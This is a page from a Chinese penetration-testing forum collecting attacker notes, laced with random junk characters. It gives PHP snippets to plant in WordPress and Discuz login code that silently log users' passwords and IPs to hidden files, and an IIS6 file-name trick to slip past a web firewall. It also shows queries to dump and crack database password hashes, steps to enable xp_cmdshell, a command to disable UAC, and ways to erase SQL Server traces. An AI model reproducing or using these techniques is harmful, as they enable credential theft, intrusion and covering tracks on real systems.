if($log_user&&$log_pwd&&$log_ip){1 M9 R4 E9 N* F
@fwrite(fopen(‘pwd.txt’,”a+”),$txt);
9 w8 \8 f9 o) I( ^}* ?  b4 a5 T3 Q6 a8 U8 S
当action=login的时候会触发记录密码code,当然了你也可以在switch…case..语句中的default中写该代码。
6 G% _% Z( s; `, d就是搜索case ‘login’3 F4 q$ Q# R4 {4 G
在它下面直接插入即可,记录的密码生成在pwd.txt中,
6 _% i& {5 t3 r' ?( {! d其实修改wp-login.php不是个好办法。容易被发现,还有其他的方法的,做个记录  Q4 o, l/ O" |7 U9 P7 I
利用II6文件解析漏洞绕过安全狗代码:# t+ {: o5 @# f( `
;antian365.asp;antian365.jpg# q% z) u- R( O$ d) d8 k
. o0 k! b) @: i+ e
各种类型数据库抓HASH破解最高权限密码!" ~! b. P+ q* l% \+ t: n5 |3 T& n
1.sql server2000! a% k, K" ]' D- |
SELECT password from master.dbo.sysxlogins where name='sa'
0 S7 L3 ]' ?  E6 w# t$ W2 B) r0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341
9 S- D( s) @# t* H9 Z2FD54D6119FFF04129A1D72E7C3194F7284A7F3A
/ E6 n" C) s% [7 x# t7 A1 g: y, ?4 Q+ ~
0×0100- constant header
2 h+ d* D; d' ?34767D5C- salt
) L$ W& H; I2 t9 [0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash6 K, s: ]( f2 L/ C
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash
- @6 z3 `, F1 @& Z6 H$ N6 ccrack the upper case hash in ‘cain and abel’ and then work the case sentive hash6 X, o5 i. Q5 v8 j  {: V
SQL server 2005:-
7 j( c4 E# [6 ^" `SELECT password_hash FROM sys.sql_logins where name='sa'
7 x" B# M! z8 r2 |$ p0 x7 a+ P- ?) z, g0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F* M2 Q5 m! p) E: Y* \1 Y
0×0100- constant header5 x7 F# v) z' P/ `$ g- @- A6 s
993BF231-salt' h% c# o! |1 ~6 o" J1 Z$ F0 t
5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash
( z9 W5 x; E  u, T1 t5 ecrack case sensitive hash in cain, try brute force and dictionary based attacks.
0 n9 a, \! S$ U" v1 ~" C3 w: z0 U0 V$ p9 s3 R5 ]
update:- following bernardo’s comments:-
, @5 N) v6 |9 B$ K4 Y  Quse function fn_varbintohexstr() to cast password in a hex string.; R2 V9 O8 d7 _, w( ?
e.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins
4 K2 T- J% z8 H, g4 [3 I, U
$ x, J/ C- Q+ hMYSQL:-
' S9 c2 `% K( m& ~+ m; K" [* X2 v$ R+ z9 ~
In MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL’s own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2.
( i. z, h5 P0 b" G) e# z' u2 F$ C  W$ |( ?# L
*mysql  < 4.1
: w; y9 e$ P! v; b- E  C4 J4 [" K4 B% S. Y% F
mysql> SELECT PASSWORD(‘mypass’);/ I. Z4 S8 C$ [
+——————–+- N( C0 M7 M% ~/ m7 _/ _
| PASSWORD(‘mypass’) |
& O: \, w$ x7 p* V+——————–+# t& y% E8 \7 z- u
| 6f8c114b58f2ce9e   |
+ D7 F) g8 o% L  W* u0 M+——————–+: ~- U' ]2 p% f. @' y% h

6 q/ O2 b: _! {  x% T$ v$ e4 u5 N*mysql >=4.16 B& a& v! O) ^
$ o0 [  i5 E5 W. Z( L! e
mysql> SELECT PASSWORD(‘mypass’);
! y7 V$ @$ F) c3 a0 }% J1 s% p' R  Z+——————————————-+$ d& u' j7 e8 [8 O7 g
| PASSWORD(‘mypass’)                        |
! H; w: o& a! \6 U. D$ {+ N' s+——————————————-+& v3 A( _( i5 G" I$ |6 ~
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
' V9 Q  ~1 K9 }5 p: v5 q+ Y7 [+——————————————-+
; D1 Q0 Z( b5 h- @; j& g
% E. k8 Z0 E! J- ]Select user, password from mysql.user* |& N8 _7 m7 z4 S8 M; X
The hashes can be cracked in ‘cain and abel’2 ^7 `) l+ G0 N6 a6 `
+ W! H# L: [% `$ ~
Postgres:-3 C9 Z* y* }& z' {3 ?
Postgres keeps MD5-based password hashes for database-level users in the pg_shadow table.  You need to be the database superuser to read this table (usually called “postgres” or “pgsql”)
6 h: z/ e. e- e0 T% c; rselect usename, passwd from pg_shadow;7 ~! [" N1 l) h& X! G
usename      |  passwd
& f6 B3 y/ d! I——————+————————————-# Y4 a" d5 Q7 k2 A
testuser            | md5fabb6d7172aadfda4753bf0507ed4396
6 O: I4 P, t/ }, z! E2 M. ruse mdcrack to crack these hashes:-
; o4 i6 J9 r: ~+ l" n  W. `! j  H$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396; `( Z0 P7 D, r
5 y2 P% ]0 y, o5 J# [
Oracle:-7 x; p, U# ?# S) y
select name, password, spare4 from sys.user$, @1 s# m) ~$ C* U3 ]) f) V
hashes could be cracked using ‘cain and abel’ or thc-orakelcrackert11g
/ u  n8 _/ p5 q" y4 K& Q2 sMore on Oracle later, i am a bit bored….
9 H1 g! D. ]" X8 R9 e9 K/ o# E/ }) f$ c0 f, r% a1 y

1 F# I1 Q2 o1 C; @- i在sql server2005/2008中开启xp_cmdshell
" ~4 C7 A# S( X$ y$ f  C/ ?+ c-- To allow advanced options to be changed.1 E5 M' A# h$ c( d5 e3 [
EXEC sp_configure 'show advanced options', 1- w6 v  X0 \$ q/ t- n
GO: y- f, q, o8 c( B5 I
-- To update the currently configured value for advanced options.) b. P4 G( M! Y* h
RECONFIGURE: M2 ~0 g9 t8 Q% p. ?
GO+ N1 v' S. d4 }3 d/ B# ?5 e
-- To enable the feature.
# ]" Q0 _# u& l  nEXEC sp_configure 'xp_cmdshell', 1
1 Z2 G* `! q; I5 SGO: W% Z5 u1 {' g4 \1 ]; r
-- To update the currently configured value for this feature.
0 O: }/ |, d2 P4 r4 XRECONFIGURE0 _" `5 [( j- V: f" b' o4 x
GO' ]$ _0 `: Y# i! K
SQL 2008 server日志清除,在清楚前一定要备份。
/ W; [7 t7 }1 q2 X: i如果Windows Server 2008 标准版安装SQL Express 2008,则在这里删除:6 [: D5 f+ m% {: t8 n
X:\Users[SomeUser]\AppData\Roaming\Microsoft\Microsoft SQL Server\100\Tools\Shell\SqlStudio.bin/ E3 o4 ]# O5 h4 [' G: d2 M3 j
6 R5 l' ~8 [) D: V
对于SQL Server 2008以前的版本:% q) ?1 ?1 J  F: c8 v! t# @
SQL Server 2005:
8 d9 \8 K, T" x$ k* C删除X:\Documents and Settings\XXX\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat
# z+ H& H( V& ~5 [& gSQL Server 2000:* A' {2 C. H, @
清除注册表HKEY_CURRENT_USER\Software\Microsoft\Microsoft  SQL  Server\80\Tools\Client\PrefServers\相应的内容即可。
+ r# m9 Q: ^' l" T" S/ x- l$ t  R( X) a; F
本帖最后由 simeon 于 2013-1-3 09:51 编辑
+ S+ [1 E* i1 [! c7 `
7 [; y  ?% ]+ l! x; A. _2 l7 _5 c: ]. y9 ~" w
windows 2008 文件权限修改5 W5 G* x2 X4 Z2 k' e
1.http://technet.microsoft.com/zh- ... 4%28v=ws.10%29.aspx; K3 o. E, K6 Q: I+ Y& \$ n" m
2.http://hi.baidu.com/xiaobei713/item/b0cfae38f6bd278df5e4ad986 ~8 ~' ^, L+ m3 k5 n7 M7 Q
一、先在右键菜单里面看看有没有“管理员取得所有权”,没有“管理员取得所有权”,
) W1 O3 I6 L, m4 d
# T0 j* [& z( d+ p* A; y0 sWindows Registry Editor Version 5.006 z2 ~; S) i: m% i& F  s
[HKEY_CLASSES_ROOT\*\shell\runas]: Z# S/ ~1 f3 [1 `
@="管理员取得所有权"' s: s8 i5 d$ l. V7 Z* A; M
"NoWorkingDirectory"=""* N! Z- n* Y4 ?/ ^* K# t1 m
[HKEY_CLASSES_ROOT\*\shell\runas\command]
9 o5 c* J4 N- E+ A8 U6 a0 W4 e@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"% s/ B! _: a1 V  b) {- ?! P0 H: t
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
7 R9 Q  A8 E- i  }$ l[HKEY_CLASSES_ROOT\exefile\shell\runas2]
* c$ a3 M6 ^- }@="管理员取得所有权"/ f" z0 K4 P( m" U% r# W
"NoWorkingDirectory"=""
6 Q# q1 C# \6 L) e/ N3 T[HKEY_CLASSES_ROOT\exefile\shell\runas2\command]
5 ]9 l( w, @* M2 z9 B# l) J( x" i@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
  a2 |5 ?+ ]( J5 F) b' T"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"+ v% p$ g- d, n4 A

8 G" p+ `" C9 ~% J3 }# d- {[HKEY_CLASSES_ROOT\Directory\shell\runas]" {* t9 [; H# s
@="管理员取得所有权"
8 I9 H: \* W) L' U! z"NoWorkingDirectory"=""7 `. b# n2 I0 W8 x; A
[HKEY_CLASSES_ROOT\Directory\shell\runas\command]
. p; O1 `1 C) \) N@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
, v0 W# u- d( I( k5 w! B2 M3 X"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
$ x+ H* `) O/ J; g
* A1 Y) q& a  P$ m0 [8 O9 L7 T0 \; o
0 R1 \. V5 j- \2 B8 owin7右键“管理员取得所有权”.reg导入* ]0 u/ A9 i' _: q# V
二、在C:\Windows目录里下搜索“notepad.exe”文件,应该会搜索到四个“notepad.exe”和四个“notepad.exe.mui”,
$ Z- B# w6 a" G$ Y7 S4 S- W1、C:\Windows这个路径的“notepad.exe”不需要替换
/ `: t  A, L4 c2、C:\Windows\System32这个路径的“notepad.exe”不需要替换
2 K0 W7 p+ V8 k4 ?3 N( X) m7 N5 }5 Y6 r3、四个“notepad.exe.mui”不要管
  V$ k' [! t) {* \4、主要替换C:\Windows\winsxs\x86_microsoft-windows-notepad_31bf3856ad364e35_6.1.7600.16385_none_6ef0e39ed15350e4和' Q4 M! E1 y4 A
C:\Windows\winsxs\x86_microsoft-windows-notepadwin_31bf3856ad364e35_6.1.7600.16385_none_42a023025c60a33a两个文件下的“notepad.exe”1 ~+ e* B# |& N8 q/ \- n
替换方法先取得这两个文件夹的管理员权限,然后把“Notepad2.exe”重命名为“notepad.exe”替换到这两个文件夹下面,- c0 h2 k) U$ _" H0 r
替换完之后回到桌面,新建一个txt文档打开看看是不是变了。8 d4 ^$ c+ v4 A1 q& S# l
windows 2008中关闭安全策略:
% {' ?% c- d! n5 }( ereg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f+ }& b' q- I% n, s3 G
修改uc_client目录下的client.php 在
' P' U7 \: b* ]- m- p8 ~function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {( c, a8 Y8 Q; U
下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
3 T' J4 Z/ B' _  z, I* i" i9 C你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw
9 p* \) H& J, l0 i; D0 vif(getenv('HTTP_CLIENT_IP')) {
2 _, E; x9 t0 O! p$onlineip = getenv('HTTP_CLIENT_IP');' ]7 ?7 p+ r; D+ V6 ?7 I( E, G! U2 j
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {3 C& D4 R: O& x: ^2 L
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
% {9 V8 Y! s9 L. H} elseif(getenv('REMOTE_ADDR')) {) c1 [  ^! F$ v+ A/ d7 Y& s
$onlineip = getenv('REMOTE_ADDR');
. X1 r, b) t) U" h9 A' H4 ]$ B} else {
$ P: }7 c4 G1 v- I3 N3 k$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];: O" R% q! p1 S. T5 S
}
, ~0 W6 s, b& ^  l  u4 K7 a     $showtime=date("Y-m-d H:i:s");, q. N" {& O  V: G; U/ t
    $record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";
3 p% s. Y( H* |0 b    $handle=fopen('./data/cache/csslog.php','a+');& R6 e  j5 N  F6 m7 O- {: W
    $write=fwrite($handle,$record);




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2